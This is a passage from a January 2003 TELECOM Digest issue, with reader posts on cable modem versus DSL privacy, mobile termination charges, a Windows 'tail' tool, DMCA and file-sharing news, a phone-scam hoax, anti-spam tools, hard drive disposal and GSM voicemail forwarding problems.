AT&T Broadband Raises Prices For Cablemodem Service Date: Sat, 18 Jan 2003 12:27:53 -0500 > [..] and in fact I've heard rumors > that cable modem users with 'network neighborhood' enabled on their > computers get a lot of spies reading their files, etc. True? PAT] Perhaps at the very first, when cable modems came out as - and DSL devices were being adapted to - simple Ethernet bridges. However, security seems to have been improved since then. Soon after deployment of cable modems began in southern Ontario, I ran a sniffer on a LANcity/Digital/Bay/Nortel cable modem on Rogers Cable and found pretty much what I expected: Ethernet broadcasts (e.g., ARP.) Once in a while things misfired badly, e.g. a cable modem user would try to connect a home network to the cable modem and their DHCP server would answer their neighbours' requests for IP addresses(!), but this seems to have stopped completely years ago (though I don't know how -- perhaps the operators disabled layer 2 forwarding between subscribers.) Later (and perhaps out of the foolish desire to do something different and learn from it) I subscirbed to Bell Canada's ""Sympatico High Speed Edition"" DSL service and was issued a Nortel ""1 Meg Modem""(*) and, much to my surprise, running a sniffer on it I never saw any traffic that wasn't meant for me. Of course, this really isn't all that differrent (except for speed) from dialing into an ISP -- or even connecting an office to one through more traditional means, such as ISDN or leased lines. No matter what your connection, IP connectivity to the internet means that millions of people can attempt to exploit your security vulnerabilities. (*) The Nortel ""1 Meg Modem"", for those who don't know, was a nifty design that allowed Nortel DMS line card drawers to be upgraded to DSLAMs by replacing the standard Bus Interface Card (""BIC"") with a Data-enhanced Bus Interface Card (""DBIC"") and using DSL-enhanced line cards. While its market was obviously limited to COs that used Nortel switches, I believe that it failed (I believe that the product line became a victim of Nortel's struggle to survive) even in that market segment because it was a proprietary, 1.3 Mbps maximum, system that became unattractive as high-speed and interoperrable systems emerged. For those interested, some more details are available at: http://www.nortelnetworks.com/products/01/dms500/collateral/50167.16-03-99.p df. Geoffrey Welsh This address is not to be added to any mailing list, nor to be sold or given away without explicit written consent. Unsolicited bulk mail is spam, no matter what regulations (real or imagined) it complies with! FIGHT SPAM AND SCAMS: DISCONNECT CHINA FROM THE INTERNET! ------------------------------ From: Linc Madison Subject: Re: Mobile Operators' Regulatory Time Bomb Date: Fri, 17 Jan 2003 16:24:14 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com In article , Monty Solomon wrote: > Mobile Operators' Regulatory Time Bomb > By LEONARD WAVERMAN (Wall Street Journal, Business Europe) > None of this seems to matter to British regulators, however, which are > currently considering sweeping changes -- not only to how the > mobile-phone business is regulated but how customers themselves pay > for the calls they make and receive. > The basic issue that the UK Competition Commission is investigating is an important one in need of redress. The charges for terminating calls to mobiles in the UK are exorbitant and excessive. It costs more to call a mobile than to call most countries on the other side of the world. As for the ""less successful"" US model, most cellphones come with bundles of included minutes, often including a larger (if not unlimited) package of night/weekend minutes, that make it quite feasible for people to take incoming calls without great concern over the costs. Mr. Waverman states the reality quite directly, although he disagrees with it: ""The argument is simple -- the called party cares what he pays for terminating on his phone but cares little if the calling party pays for that service. Hence forcing the called party to pay would eliminate the abuse of the current monopoly termination charge."" I'm not saying that the UK should abandon calling party pays without another thought. However, it is clear that something needs to be done to bring market forces to bear on the current scheme of termination charges. If the threat of throwing wireless party pays into the mix gets the wireless companies to be a bit more sensible about their termination charges, then it's all for the better. www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California ------------------------------ Date: Fri, 17 Jan 2003 19:36:14 EST From: dhorvath@cobs.com (David B. Horvath, CCP) Subject: Re: Tail (SELLCOM Tech Support) On Fri, 17 Jan 2003 13:05:24 -0500, SELLCOM Tech Support posted to CoFD: > What I am trying to find is a utility like the linux ""tail"" which > allows you to watch a log/text file as it changes in real time (sort > of). But I need a version of that for Win2K Server. There are several packages that contain tools like this including the FSF's ""DOS Utilities"", Cygwin, and I believe that NT 4 included it as part of the POSIX environment. > While I'm at it, let me also share with you a little trick. If you > have a linux box you can telnet in from remote run tail (with some > command switches that I forget) The flag you want is -f or --follow (depending on whether you're using the old UNIX form or the fancier GNU/Linux form). David B. Horvath, CCP Consultant, Author, International Lecturer, Adjunct Professor Board Member: ICCP Educational Foundation, ICCP Test Council, and Philadelphia Association of Systems Administrators ------------------------------ Date: Fri, 17 Jan 2003 21:24:12 -0500 From: Monty Solomon Subject: Re: DMCA vs. The Garage Door Opener http://www.politechbot.com/p-04322.html Date: Thu, 16 Jan 2003 00:04:24 -0500 From: Declan McCullagh Subject: FC: Polk Wagner: Garage door opener DMCA case is hardly ""lunacy"" Polk teaches intellectual property law at the University of Pennsylvania's law school. Previous Politech message: http://www.politechbot.com/p-04319.html -Declan Date: Wed, 15 Jan 2003 23:57:42 -0500 Subject: Re: FC: DMCA vs. The Garage Door Opener Content-Type: text/plain; delsp=yes; charset=US-ASCII; format=flowed From: ""R. Polk Wagner"" To: declan@well.com I don't see the lunacy. The case features patent and various trademark-type claims as well. The DMCA provides one additional (albeit significant) argument - with the allegation being that Skylink is building devices that break whatever protection is wrapped around the code-rolling software. It would seem to have the basic features of what Congress was intending with the DMCA: to make technological protections 'stick'. Further, trying to control a complementary market to one's good (here, replacement door-opener remotes) is a very standard business tactic. And one that is implemented via a number of mechanisms: contracts, technology, and (gasp) intellectual property. The discipline here is provided by the market - if Chamberlain uses its control of the replacement remote market in a way that diminishes the utility (or raises the overall cost) of their goods, then they'll suffer the consequences. (Assuming, of course, that the market for garage-door opening systems is competitive, which seems a safe assumption.) In some cases, it can be more efficient to allow the creator of the original good to control the complementary market; it may allow for better pricing mechanisms, or some quality benefits. In other cases, it's not so good. But in either event, given reasonable competition in the market for the original goods, this will get sorted out -- almost certainly in the consumer's favor. Here, Chamberlain argues that the Skylink remotes 'break' the security features of the garage door system. There are a number of problems with the DMCA. But I'm not sure this is one of them, even if one doubts (as I do) whether this move is smart for Chamberlain's business. Polk POLITECH -- Declan McCullagh's politics and technology mailing list You may redistribute this message freely if you include this notice. To subscribe to Politech: http://www.politechbot.com/info/subscribe.html This message is archived at http://www.politechbot.com/ Declan McCullagh's photographs are at http://www.mccullagh.org/ Like Politech? Make a donation here: http://www.politechbot.com/donate/ Recent CNET News.com articles: http://news.search.com/search?q=declan ------------------------------ Date: Fri, 17 Jan 2003 22:19:35 -0500 From: Monty Solomon Subject: Apple Silences iTunes P2P Software By Matthew Broersma and Ian Fried Special to CNET News.com January 17, 2003, 10:08 AM PT Apple Computer has forced a developer to stop distributing a plug-in that turned its iTunes music player into peer-to-peer music-sharing software. The plug-in, called iCommune, allowed iTunes users to browse the music libraries of other Macintoshes over a network and stream or download music from them. On Wednesday, Apple notified developer James Speth that he was violating the terms of his software agreement and ordered him to stop distributing the plug-in and to return Apple's development tools. Speth removed the iCommune download from his Web site. Apple's move comes amid increasing hostility between the entertainment industry and music-swapping applications such as Kazaa and the now-defunct Napster. However, Apple did not make any direct reference to copyright issues in pulling the plug on iCommune. Instead, the company said that Speth broke the terms of the agreement that allowed him access to the iTunes software development tools. Apple makes those tools available to those that want to make their hardware compatible with iTunes but not to software makers that want to tap into iTunes. http://news.com.com/2100-1040-981147.html ------------------------------ Date: Fri, 17 Jan 2003 23:30:58 -0500 From: Monty Solomon Subject: Sonicblue Mulls Company Sale; Planet Replay Stops Sharing Service NEW YORK, Jan 17 (Reuters) - Sonicblue Inc. (NASDAQ:SBLU), the maker of ReplayTV digital video recorders and Rio digital music players, said on Friday its weighty debt load has prompted it to consider, among other things, selling the company. ... In a related move, Planet Replay, a popular Web forum for ReplayTV owners that is unaffiliated with Sonicblue, on Thursday pulled the plug on a program-sharing service under pressure from movie and television studios. ... - http://finance.lycos.com/home/news/story.asp?story=30976946 ------------------------------ Date: Sat, 18 Jan 2003 14:46:54 -0500 From: Monty Solomon Subject: EFFector 16.1: Alert: TIA Update - Support the Data Mining EFFector Vol. 16, No. 1 January 17, 2002 ren@eff.org A Publication of the Electronic Frontier Foundation ISSN 1062-9424 In the 240th Issue of EFFector: * Alert: TIA Update - Support the Data Mining Moratorium Act of 2003! * Alert: Who Controls Your Digital Media? Shouldn't it Be You? * EFF Needs Volunteer Editors * Local Alert: Urge the San Francisco Board of Supervisors to Oppose USAPA! * Lawmakers Urge Protection of Fair Use * Senators Seek Moratorium on Government Data-Mining * Hollywood Not on the Same Planet as ReplayTV Fans * EFF Releases Update to ""Unintended Consequences: Four Years Under the DMCA"" * Norwegian Teenager Jon Johansen Acquitted in DVD Case * US Supreme Court Says Californians Can't Sue Texas Resident * Nomination Call for EFF Pioneer Awards - Deadline Feb 1st * Deep Links (8): Another Reason to Repeal the DMCA; Mickey Mouse Clubbed * Administrivia ... http://www.eff.org/effector/HTML/effect16.1.html ------------------------------ Date: Fri, 17 Jan 2003 23:14:48 -0500 From: Monty Solomon Subject: The Internet Nanosecond Innovation faltered, and the Web became a giant white elephant Jan. 15 - In 1999 America Online published a collection of Steve Case's speeches modestly titled ""Looking Ahead to the Internet Century."" It contained Case's musings on how the Internet would change education, democracy, philanthropy, public policy and international trade, as well as (of course) business and entertainment. Some of Case's prophecies have come to pass: Parents and students can check homework on the Net. But much of his vision remains unfulfilled, and it's doubtful that 100 years from now people will refer to the Internet Century. Probably they will simply call it the 21st century. http://www.msnbc.com/news/859700.asp ------------------------------ From: johnl@iecc.com (John R. Levine) Subject: Re: DSL vs Cable Date: 18 Jan 2003 00:07:37 -0500 Organization: I.E.C.C., Trumansburg NY USA > Depends on the cable system. My understanding is that the most common > DSL tops out below 1.5Mb/sec and drops off quickly as you move away > from the CO. Meanwhile, Time Warner cable modem service in Houston > gives 1.5Mb/sec everywhere, and I often see my residential service > peak at 2Mb/sec. That varies a lot from system to system. The peak speed of cable modems is higher, but the practical speed depends more on how congested your provider's connection to the outside world is than the speed of individual links. For example, the TW system around here has a nominal speed of 27Mb (megabits, not megabytes) but the outside connection was originally a pair of T1's which meant the real max speed was 3Mb if you were the only one using it, which you never were. > Re: network neighborhood, I don't think there is any difference for > DSL vs Cable. In both cases, you esentually become part of a larger > network, usually the ""internet"", and if you expose those services > without a firewall, people will see them. Not so. With cable modems, each branch of the network is logically an Ethernet, while with DSL each line logically runs straight into the router. If you have an older (pre-DOCSIS, I think) cable system that doesn't encrypt its traffic, it's quite possible to share files and printers with your neighbors and snoop on all the traffic on your branch. Since DSL is routed, the only traffic on your line is yours. In practice, if you have enough sense to turn on the default firewall in Windows XP or use something like Zonealarm on older systems, it doesn't matter. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ From: J Kelly Subject: Re: DSL vs Cable Date: Fri, 17 Jan 2003 21:25:25 -0600 Organization: http://extra.newsguy.com On Fri, 17 Jan 2003 16:34:03 CST, Christopher Wolf wrote: >> [TELECOM Digest Editor's Note: So $58 minus $47 or $61 minus $50 is >> still an $11 difference, or what they charge for the 'basic tier'. I >> would say if they want to watch television, then add the basic tier, >> essentially for free at the new price, however I cannot see what the >> advantage would be if they are not into television. For that matter I >> really have problems with cable modem service also. I cannot see >> where/how it is any faster than DSL, and in fact I've heard rumors >> that cable modem users with 'network neighborhood' enabled on their >> computers get a lot of spies reading their files, etc. True? PAT] Two cable providers here (no DSL providers). One provider (municipal utility) offers 384/128kbps for $44.95. Other one (Mediacom) offers 1.4Mbps/128kbps for $39.95. Both of those can be had for $10 less if you take their respective cable tv offerings. 1.5Mbps seems plenty fast for most stuff, the upload of 128kbps is a tad slow sometimes, especially when I'm transferring large photos to shutterfly.com to be printed. The Network Neighborhood thing is pretty much a myth, I believe. The DOCSIS specification allows the modem to ONLY talk to the CMTS, so it would take a gross misconfiguration for people to see other computers, or so I'm told by one of the local cable operators. They do filter some ports (139 and maybe others) that Windows uses for networking. I was unable to find any computers in Network Neighborhood when I tried it (tried it with both systems, I switched to the faster one the day it rolled out, was customer #1). I installed a Linux firewall a few days after getting cable internet service and it definitly blocks any windows networking from entering or leaving the WAN ethernet port. FWIW, I've had only one outage since May, which was caused by a McLeod USA fiber cut, on my Mediacom modem. It lasted several hours while the fiber got spliced. (Okay, I've had a few 3 minute outages this week while they are doing some work on the cable lines on by block but that doesn't really count). My old service was down several times a week as the guys running it were quite clueless about cable internet and had a crappy backbone provider besides. [TELECOM Digest Editor's Note: I never really, in my younger days ever thought the time would come when some people would consider 128 kbps would be a 'tad slow' ... and regards system outages, my DSL service from Southwestern Bell is quite reliable. I don't think I have ever had any outages I could blame on the DSL connection. PAT] ------------------------------ From: Linc Madison Subject: Re: The ""Latest Telephone Scam"" Date: Fri, 17 Jan 2003 18:28:56 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com In article , Neal McLain wrote: > Raymond Mereniuk wrote: >>[from ""Coquitlam Now"" local newspaper in British Columbia] >> Const. Brian Soles said the scam begins when residents >> receive a message on their answering machine or pager >> asking them to call a number beginning with area code >> 809, 284 or 876.... >> ""The call will be billed to you at $2,425 per minute."" >> the area codes are located in the British Virgin Island >> and Bahamas. > It seems like it would have been a simple matter for the Coquitlam > Now reporter to check her phone book to see if the area codes > actually matched the countries. That discrepancy alone should have > been enough to make her suspicious about the accuracy of this > so-called ""latest telephone scam."" They did at least update the hoax with the new area codes for BVI and Jamaica. Why Jamaica, though, and not the Bahamas? Hmm. Of course, one also wonders why the Coquitlam Now reporter thought that she was scooping CNN, AP, and Reuters on this story about telephone calls that cost $2,000 a minute. That's hardly the sort of news one expects to break in a small local paper. > Anyway, I can't wait to see Linc Madison's response to this. He must > be getting awfully tired of debunking the same old hoax! Hrrmmm, mutter-mutter-yawn-mutter-mutter: www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California ------------------------------ From: Linc Madison Subject: Changes at LincMad.com Web Site; New Anti-Spam/Virus/Hoax Page Date: Fri, 17 Jan 2003 18:42:17 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com I recently updated the LincMad.com web site. There's very little news in the area code split end of things, but there are two specific changes relating to the site itself. First, the e-mail address ""webmaster"" is being discontinued due to the overwhelming volume of spam and virus e-mail. There are several viruses out that specifically target ""webmaster@yourdomain.com"" addresses, including some that send themselves as many as 100 times a day. There's just nothing quite like opening up your mailbox to see 67 copies of the Friendship Screen Saver, when you've only been away from your e-mail for the 8 hours you were asleep. The new address for e-mail related to the web site is ""contact"" at LincMad d0t com. Please DO NOT put any ""clickable"" links to this address on any web page or Usenet article. Note that I've spelled out ""at"" and ""d0t"" to make it more difficult for e-mail harvesting programs to parse. The second item, though, is that I have started a new page about the banes of the e-mail world: spam, viruses, and virus hoaxes. I don't expect to have anything more than a cursory explanation, plus links to other sites for further reading. However, one new link that I will be adding over the weekend is to a wonderful anti-spam software company, Matterform. I've been using their Spamfire product for the Macintosh (not yet available for MS-Windows, although some of their other stuff is), and it does a remarkably good job of trapping most of my spam. I refine the filters to cut down the false negatives and false positives, but that process is simple and straightforward. One of my favorite features, though, added just a few days ago, is called ""Bug the Web Bugs."" It scans your recent spam messages for ""web bugs,"" replaces the identifier with either random characters or your choice of friendly message, and then sends your valuable marketing data to the spammers, over and over and over again. I particularly enjoy finding a spammer whose web bug rot-13 encodes the victim's e-mail address, because then I can insert a pleasant hello message that the spammer won't see until he decodes the rot-13. If you have other anti-spam, anti-virus, or anti-virus-hoax links to suggest, please make a note of the new ""contact"" address, or reply to this message. www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California ------------------------------ From: jbl Subject: Re: 'Sanitized' Hard Drives Prove a Trove of Personal Info Date: Fri, 17 Jan 2003 20:27:04 -0700 Organization: On the desert Reply-To: jbl@spamblocked.com In , PAT wrote: > [TELECOM Digest Editor's Note: I do not understand why, when people > prepare to sell or otherwise dump an old computer, they do not use > a 'laundry machine' program first, to clean the entire hard drive, > then use added 'bleach' to rewrite garbage on the hard drive at least > five or six times as per NSA recommendations, *then* format the entire > drive. PAT] The last time I dumped an old machine, I took it to the landfill with the rest of the trash. I waited till the crusher (that huge tractor like thing with the huge steel rimmed spiked wheels was rolling over and mashing all the trash our way, and threw the box with the drive under the wheels. Maybe it's not as good as NSA-style sanitizing, but I think it was adequate (considering that there was nothing on that drive worth the attention of the NSA or any government or civil agency at all). JBL ------------------------------ From: Tony Pelliccio Subject: Re: 'Sanitized' Hard Drives Prove a Trove of Personal Info Organization: The Ace Tomatoe and Cement Company Date: Sat, 18 Jan 2003 05:14:47 GMT In article , monty@roscom.com says: > http://www.boston.com/dailynews/015/region/_Sanitized_hard_drives_prove_a:.shtml > [TELECOM Digest Editor's Note: I do not understand why, when people > prepare to sell or otherwise dump an old computer, they do not use > a 'laundry machine' program first, to clean the entire hard drive, > then use added 'bleach' to rewrite garbage on the hard drive at least > five or six times as per NSA recommendations, *then* format the entire > drive. PAT] When I get rid of a system the drive gets physically destroyed. At this point drives are so cheap just let the buyer get their own. The process I use is: 1) Pass a bulk eraser over the drive SEVERAL times. 2) Use a sledge hammer and break the drive into as many small pieces as you can. Perfectly unrecoverable at that point. Tony ------------------------------ Date: Fri, 17 Jan 2003 19:34:07 EST From: dhorvath@cobs.com (David B. Horvath, CCP) Subject: Re: 'Sanitized' Hard Drives Prove a Trove of Personal Info On Thu, 16 Jan 2003 21:56:03 -0500, PAT wrote: > [TELECOM Digest Editor's Note: I do not understand why, when people > prepare to sell or otherwise dump an old computer, they do not use > a 'laundry machine' program first, to clean the entire hard drive, > then use added 'bleach' to rewrite garbage on the hard drive at least > five or six times as per NSA recommendations, *then* format the entire > drive. PAT] Because they don't know any better, that's why. And those who do (or should know better -- like the folks in corporate tech services) don't have the time. Remember, once you ""delete"" a file (under DOS/Windows) and clear the recycle bin, you can't get the files back using the base operating system tools. The fact that the data is still there escapes the notice of most people. Personally, I use compress and clear on occassian and have written my own file overwrite deletion program. I replaced a failing hard drive (striction) recently. No one will ever read that drive -- not after several rounds of high power rifle ammo went through it. David B. Horvath, CCP Consultant, Author, International Lecturer, Adjunct Professor Board Member: ICCP Educational Foundation, ICCP Test Council, and Philadelphia Association of Systems Administrators ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: J Kelly Subject: Re: The Digest - Suggestions Date: Fri, 17 Jan 2003 21:16:19 -0600 Organization: http://extra.newsguy.com On Fri, 17 Jan 2003 09:48:32 -0800, Brandon Turok wrote: > Hey Pat, > I love reading the Digest, and I think it's wonderful, but is it at > all possible to create something like comp.dcom.telecom.montysolomon? > Not that I don't enjoy the news, but there's so much of it that it > really feels like it's cluttering up the NG and stifling most other > conversation. > Thanks for listening to my kvetching! > Brandon Turok > http://www.loonquawl.com/ > Dial-A-Machine (925) 288-9825 > Free when you call from work > [TELECOM Digest Editor's Note: Well, readers? PAT Yes, Monty posts a lot of stuff, of which maybe 10% is of interest to me. That 10% makes it worth having, I don't have to download the bodies for the posts that don't appear interesting from the subject line. ------------------------------ Date: Fri, 17 Jan 2003 19:35:09 -0800 From: Name Withheld at Poster's Request Subject: Re: The Digest - Suggestions [Not for publication (unless you get rid of my email address)] Pat - First let me say how much I've enjoyed reading your comments / tales from telecom's older days. Once I get out of academia and can afford to, I will gladly ""donate"". On topic -- I was having the same thoughts earlier, especially since 90% of Monty's stuff I've already seen elsewhere (often a day or two earlier). I do appreciate his posts for the 10% that I haven't seen. I'm not positive this will work universially -- especially those who receive the telecom digest via email -- but a happy medium may be to psuedo thread the messages, so that one can ""mark thread as read"". To do this (based on my experimentation) you would just (automatically, I presume) add a References: (something) header, where (something) was say ""monty"". As far as I can tell some newsreaders thread based on subject, some based on the references. In therory, a news reader that threades based on the references would put all of Monty's in the same thread (because they all referenced the same imaginary article)... Regardless of what you decide to do, it seems like its starting to get overwhelming. Thanks, Lincoln J. King-Cliby Lead Student Technician/Media Support Technician Classroom Technology Services Instructional and Information Technology Services (IITS) California State University, San Marcos San Marcos, CA 92096-0001 ------------------------------ From: George Mitchell Subject: Re: The Digest - Suggestions Date: Fri, 17 Jan 2003 22:09:02 -0800 Organization: Posted via Supernews, http://www.supernews.com Brandon Turok wrote: > I love reading the Digest, and I think it's wonderful, but is it at > all possible to create something like comp.dcom.telecom.montysolomon? > Not that I don't enjoy the news, but there's so much of it that it > really feels like it's cluttering up the NG and stifling most other > conversation. One man's clutter is another's bread and butter. I enjoy Mr. Solomon's contributions. He knows the value of brevity. Actually, I wonder when he has the time to read all these publications for which he provides pointers. I think many readers like me would enjoy a few words about Mr. Solomon's life and career. George Mitchell (obfuscated email address) ------------------------------ From: John David Galt Subject: Re: The Digest - Suggestions Date: Sat, 18 Jan 2003 23:01:17 -0800 Organization: Diogenes the Cynic Hot-Tubbing Society Brandon Turok wrote: > I love reading the Digest, and I think it's wonderful, but is it at > all possible to create something like comp.dcom.telecom.montysolomon? [snip] > [TELECOM Digest Editor's Note: Well, readers? PAT Monty's news items are mostly on-topic and a few are even ones I haven't already seen ten times - but there has been such a flood lately that I recently gave up and killfiled him. If he doesn't want us all doing that, he might want to put a keyword in his subject lines that allows a filter to distinguish the news articles from the rest, just as the ""ICB Toll Free"" and ""Telecom Update (Canada)"" people did some time ago. ------------------------------ From: Greg T. Knopf Subject: Re: The Digest - Suggestions Date: 19 Jan 2003 00:20:15 GMT Organization: Concentric Internet Services Reply-To: gtknopf@concentric.net Hello, I like the Solomon posts even though I know what the poster is saying. Like most people I don't have time to keep track of all the tech things I would like to, much less anything else. The Solomon posts help in that I can recognize by the subject something which might be very interesting but which wouldn't be brought to my attention otherwise. Just my two cents. Greg gtknopf@concentric.net ------------------------------ From: Greg T. Knopf Subject: Re: Tail Date: 19 Jan 2003 02:37:27 GMT Organization: Concentric Internet Services Reply-To: gtknopf@concentric.net Hello, SELLCOM Tech Support wrote: > What I am trying to find is a utility like the linux ""tail"" which > allows you to watch a log/text file as it changes in real time Is the log file for the win2k box a text file? If so, have you used the gnu utilities for dos/windows which mimic the un*x commands? Their ""tail"" command is part of their textutils group. Information about this plus downloading info can be found at: http://www.gnu.org/software/textutils If you haven't used these I'm sure that you're going to find them to be a relief to have around. Greg gtknopf@concentric.net ------------------------------ From: Walter Dnes Subject: Re: Tail Date: 19 Jan 2003 19:51:23 GMT Reply-To: waltdnes@waltdnes.org On Fri, 17 Jan 2003 13:05:24 -0500, SELLCOM Tech Support, wrote: > What I am trying to find is a utility like the linux ""tail"" which > allows you to watch a log/text file as it changes in real time > (sort of). But I need a version of that for Win2K Server. It's actually a ""posix"" utility. I.e. Unix (TM of owner-du-jour) and Unix-like OS's, including linux, HP-UX, IBM-AIX, etc, etc. Go to http://www.cygwin.com and get Cygwin. It's a free bash-emulator for Windows. tail, cut, paste, grep, the whole 9 yards. *NOTE* the default install does *NOT* put in all the utils. You want to force the full install. Because it's an emulation layer, I find things slower going through large files than a comparable machine running linux or whatever. But it does do the job. I work in a scientific-support environment, and I have occasion to slice+dice large text files ... and the workplace policy is WIndows XP. Cygwin is a way to re-use your shell-scripts verbatim. If you *REALLY* wnat to push things, you can download developer modules and actually build programs like mutt, sendmail, etc under the NT branch (NT/W2K/XP) of Windows whilst pretending to be under linux. The main problem is tweaking the configure/makefiles so that they don't detect that you're running under Windows. Walter Dnes I'm not repeating myself; I'm an X Window user, I'm an ex-Windows user Palladium ain't done till linux won't run ------------------------------ From: chsvideo@hotmail.com (Lincoln J. King-Cliby) Subject: Re: Tail Date: 18 Jan 2003 13:48:36 -0800 Organization: http://groups.google.com/ SELLCOM Tech Support wrote in message news:: > What I am trying to find is a utility like the linux ""tail"" which > allows you to watch a log/text file as it changes in real time (sort > of). But I need a version of that for Win2K Server. Well ... Your ability do do this is limited by how cooperative the ""owning"" software is (the ""owner"" is the software that opened the file first), more than anything else. Much of the time when a file is opened in any windows environment it is ""locked"", prohibiting anything else from opening it. There is a way to cheat, and get an unlocked copy of a locked file. All you have to do is manually (or programatically) copy the file. For some reason in windows you can copy a file any time you want, including when it is locked, and when you're finished with it just delete the copy. That being said, the way Windows file management works I doubt you could get real time information out of a file ... The best idea I have is something with a timer that every X seconds copies the file (to defeat locks), sees if its the same size as the last file, if it isn't it does something, then deletes the copy. If you can't find anything, please feel free to contact me by email at lking [hyphen] cliby [at] lincoln [dot] homeip [period] net ... Could probably wack something together in a few minutes. Lincoln J. King-Cliby Lead Student Technician/Media Support Technician Classroom Technology Services Instructional and Information Technology Services (IITS) California State University, San Marcos San Marcos, CA 92096-0001 ------------------------------ From: John Higdon Subject: Re: New Billboards Sample Radios as Cars Go By, Then Adjust Organization: Green Hills and Cows Date: Sat, 18 Jan 2003 14:20:13 -0800 In article , joel@exc.com (Dr. Joel M. Hoffman) wrote: > How strong is this ""oscillator signal""? It varies from set to set, but it can usually be detected from many feet away. > Strong enough to be detected outside the car? To be detected from > the side of the ride? To be isolated among a hundred cars passing > by at 60 miles an hour? Modern spectrum analysis equipment has no trouble with it. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: Dave Phelps Subject: Re: AT&T Broadband Raises Prices For Cablemodem Service Date: Sat, 18 Jan 2003 23:21:15 -0600 In article , hudsonl@skypoint.com says: > [TELECOM Digest Editor's Note: So $58 minus $47 or $61 minus $50 is > still an $11 difference, or what they charge for the 'basic tier'. I > would say if they want to watch television, then add the basic tier, > essentially for free at the new price, however I cannot see what the > advantage would be if they are not into television. For that matter > I really have problems with cable modem service also. I cannot see > where/how it is any faster than DSL, and in fact I've heard rumors > that cable modem users with 'network neighborhood' enabled on their > computers get a lot of spies reading their files, etc. True? PAT] It generally used to be true, but not much anymore. I believe the DOCSIS 1.1 standard addressed this issue. Otherwise, I would suggest deciding on a service based on reliability and support of the provider. I would avoid SBC DSL, because they *never* have a problem -- just ask them. I started with cable about 3 years ago. First, it was AT&T, then switched to Charter. AT&T had a problem they ignored for a couple of months regarding a saturated DS3 between St. Louis and Kansas City. They finally added another. Service was unbearably slow during periods of heavy traffic. Now I've got Charter, and the local reliability has been very good. However, regionally, they have a single physical path to their distribution point. There is no physical route diversity. Bad network design to be sure. Occasionally this fiber is damaged, or some other trouble occurs for one reason or another and cable TV and internet service is out for a period of hours. OTOH, I've spent more time arguing with SBC DSL tech support in a month than I've spent talking to Charter tech support in the 2 years that I've had them. SBC insisted that the problem was not theirs until the customer decided to drop DSL. Dave Phelps deadspam=tippenring ------------------------------ Date: Sun, 19 Jan 2003 00:49:28 -0000 From: Jeffrey James Bryan Carpenter Subject: Problems with AT&T Wireless GSM service I have been having a strange problem with voicemail on AT&T Wireless's new GSM service. I have not been able to resolve it with AT&T yet. I have busy call forwarding and no answer call forwarding from my office phone to my AT&T Wireless GSM phone. I noticed that in some cases, when a call rang through from my office number to the GSM phone voice mail, I would get the generic, ""Welcome to AT&T Wireless Services voicemail. To enter your mailbox, press '#'..."". In other words, it appears that when the call was received by the voicemail system, it could not figure out the correct mailbox. After conducting a series of experiments, I was able to establish a pattern. Before explaining the results, I need to explain my understanding of how call forwarding and voicemail work. When a call is placed from number ""A"" to ""B"", and ""B"" is forwarded to ""C"", when the call is delivered to ""C's"" switch from ""B's"" switch, 3 numbers are passed: Called Party Number (CPN) Original Called Party Number (OCPN) Redirecting Number (RN) CPN is the number the call is being placed to. The OCPN is the original number that was dialed, regardless of how many times the call has been forwarded. The RN is the last number the call passed through, i.e. the one that is forwarding to the CPN. In my above example, CPN is ""C"", OCPN is ""B"", and RN is ""B"". When a call rings to voicemail, it is simply busy/no answer call forwarding to a number that rings into the voicemail system. My guess is that it determines the mailbox from the RN. I cannot see that either of the other two numbers would work, especially considering the case where a call is forwarded through more than one number. I conducted test calls through various paths of busy, no answer, or unconditional call forwarding. The results were as follows: ofc wireless no answer ---> no answer---> correct CF CF mailbox ofc wireless no answer ---> busy* ---> correct CF CF mailbox ofc wireless busy ---> no answer---> failed CF CF ofc wireless busy ---> busy ---> failed CF CF ofc wireless unconditional--> no answer---> failed CF CF ofc wireless unconditional--> busy ---> correct CF CF mailbox I tried these several times to make sure this was not random. (* It was hard to force busy call forwarding on the GSM service. If you had a call in progress to the phone, and initiated another answering it through call waiting, I expected all other calls to go via busy call forwarding. Wrong. When a third call was placed, it showed on the display, although it seemed it could not be answered unless one of the other calls was terminated. It took a fourth call to go through busy call forwarding!) These results are freaky. I was guessing between the GSM switch and voicemail, something was getting munged. But, would it not have to be the GSM switch munging the RN, or the voicemail system munging it or doing something else wrong? In a possibly related problem, when I used this phone in Europe last December, when calls sent to the phone went unanswered, it was sent to the voicemail system, and the result was the same failure; it got the generic ""Welcome to AT&T"" message. Calls to customer service were met with, ""yeah, we know there is some problem with voicemail."" Any ideas on this are welcome. For anyone clueful at AT&T Wireless, any intervention is welcome. Front-line customer service still want to delete and recreate my mailbox. jeff [TELECOM Digest Editor's Note: I had a situation somewhat similar with a voicemail service from Ameritech. I had two actual numbers (call them 9210 and 9211. They were both listed in the directory for different 'departments'.) Originally there was a hunt group where 9210 would ring 9211 if 9210 was busy. If 9211 was busy, that was it. I had voicemail put on 9211 so that if it was busy (or if 9210 rolled over and got a busy 9211) the call would go to voicemail. If someone dialed direct into 9211 and it was busy or did not answer, voice mail knew exactly what to do. Then I told Ameritech I wanted to change the system by also having voicemail on 9210, *and* having 9211 'hunt backwards' as needed. Now everyone got two chances to get in, with 9210 rolling ONCE and stopping if 9211 was busy. 9211 rolled back to 9210 and if it was busy, the call also went to voicemail. That's where the problem started. When 9210 rolled to 11 and then voicemail, the VM did not know who was calling, and vice versa. Finally telco said what they would do is have *one* box on 9210 with 9211 'aliased' to 9210. *Anytime* 9211 called for voicemail service the system said 9211 is the same (for VM purposes) as 9210. I could use either line and get my voicemail. In your application, 